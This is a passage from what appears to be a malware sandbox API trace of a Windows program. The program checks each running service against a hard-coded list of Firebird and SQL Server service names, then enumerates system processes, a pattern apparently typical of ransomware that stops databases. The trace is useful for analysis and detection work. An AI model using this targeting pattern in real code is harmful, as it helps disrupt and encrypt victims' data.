1 [0156.035] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0156.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0156.036] lstrlenW (lpString="LanmanServer") returned 12 [0156.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.036] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.036] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.036] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.036] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.036] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.036] lstrlenW (lpString="lfsvc") returned 5 [0156.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0156.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0156.036] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0156.036] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0156.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0156.036] lstrlenW (lpString="lmhosts") returned 7 [0156.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.036] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.036] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.036] lstrlenW (lpString="LSM") returned 3 [0156.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0156.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0156.036] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0156.037] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0156.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0156.037] lstrlenW (lpString="MpsSvc") returned 6 [0156.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.037] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.037] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.037] lstrlenW (lpString="NcbService") returned 10 [0156.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0156.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0156.037] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0156.037] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0156.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0156.037] lstrlenW (lpString="netprofm") returned 8 [0156.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.037] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.037] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.037] lstrlenW (lpString="NgcSvc") returned 6 [0156.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0156.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0156.037] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0156.037] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0156.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0156.037] lstrlenW (lpString="NlaSvc") returned 6 [0156.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.037] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.038] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.038] lstrlenW (lpString="nsi") returned 3 [0156.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.038] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.038] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.038] lstrlenW (lpString="PcaSvc") returned 6 [0156.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.038] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.038] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.038] lstrlenW (lpString="PlugPlay") returned 8 [0156.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.038] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.038] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.038] lstrlenW (lpString="Power") returned 5 [0156.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.038] lstrlenW (lpString="ProfSvc") returned 7 [0156.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.039] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.039] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.039] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.039] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.039] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.039] lstrlenW (lpString="RpcSs") returned 5 [0156.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.039] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.039] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.039] lstrlenW (lpString="SamSs") returned 5 [0156.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.039] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.039] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.039] lstrlenW (lpString="Schedule") returned 8 [0156.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.039] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.039] lstrlenW (lpString="SecurityHealthService") returned 21 [0156.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.040] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0156.040] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0156.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0156.040] lstrlenW (lpString="SENS") returned 4 [0156.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.040] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.040] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.040] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.040] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.040] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.040] lstrlenW (lpString="Spooler") returned 7 [0156.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0156.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0156.040] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0156.040] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0156.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0156.040] lstrlenW (lpString="StateRepository") returned 15 [0156.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0156.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0156.040] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0156.040] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0156.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0156.040] lstrlenW (lpString="SysMain") returned 7 [0156.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0156.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0156.041] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0156.041] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0156.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0156.041] lstrlenW (lpString="SystemEventsBroker") returned 18 [0156.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0156.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0156.041] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0156.041] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0156.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0156.041] lstrlenW (lpString="Themes") returned 6 [0156.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0156.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0156.041] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0156.041] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0156.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0156.041] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0156.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0156.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0156.041] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0156.041] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0156.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42479b0 | out: hHeap=0x660000) returned 1 [0156.041] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0156.044] Process32FirstW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.045] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.045] lstrlenW (lpString="System") returned 6 [0156.045] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.046] lstrlenW (lpString="smss.exe") returned 8 [0156.046] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.345] lstrlenW (lpString="csrss.exe") returned 9 [0156.345] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.346] lstrlenW (lpString="wininit.exe") returned 11 [0156.346] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.347] lstrlenW (lpString="csrss.exe") returned 9 [0156.347] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.347] lstrlenW (lpString="winlogon.exe") returned 12 [0156.347] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.348] lstrlenW (lpString="services.exe") returned 12 [0156.348] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.348] lstrlenW (lpString="lsass.exe") returned 9 [0156.366] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.366] lstrlenW (lpString="svchost.exe") returned 11 [0156.366] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.367] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.367] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.367] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.367] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.368] lstrlenW (lpString="svchost.exe") returned 11 [0156.368] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.369] lstrlenW (lpString="dwm.exe") returned 7 [0156.369] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.369] lstrlenW (lpString="svchost.exe") returned 11 [0156.369] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.370] lstrlenW (lpString="svchost.exe") returned 11 [0156.370] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.370] lstrlenW (lpString="svchost.exe") returned 11 [0156.370] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.371] lstrlenW (lpString="svchost.exe") returned 11 [0156.371] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.372] lstrlenW (lpString="svchost.exe") returned 11 [0156.372] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.372] lstrlenW (lpString="svchost.exe") returned 11 [0156.372] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.373] lstrlenW (lpString="svchost.exe") returned 11 [0156.373] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.373] lstrlenW (lpString="svchost.exe") returned 11 [0156.373] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.374] lstrlenW (lpString="svchost.exe") returned 11 [0156.374] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.374] lstrlenW (lpString="svchost.exe") returned 11 [0156.375] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.375] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.375] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.376] lstrlenW (lpString="svchost.exe") returned 11 [0156.376] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.376] lstrlenW (lpString="audiodg.exe") returned 11 [0156.376] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0156.377] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0156.377] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0156.377] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0156.377] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0156.378] lstrlenW (lpString="Memory Compression") returned 18 [0156.378] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0156.379] lstrlenW (lpString="sihost.exe") returned 10 [0156.379] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.379] lstrlenW (lpString="svchost.exe") returned 11 [0156.379] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0156.380] lstrlenW (lpString="taskhostw.exe") returned 13 [0156.380] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0156.380] lstrlenW (lpString="msoia.exe") returned 9 [0156.380] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.381] lstrlenW (lpString="explorer.exe") returned 12 [0156.381] Process32NextW (in: hSnapshot=0x358, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, 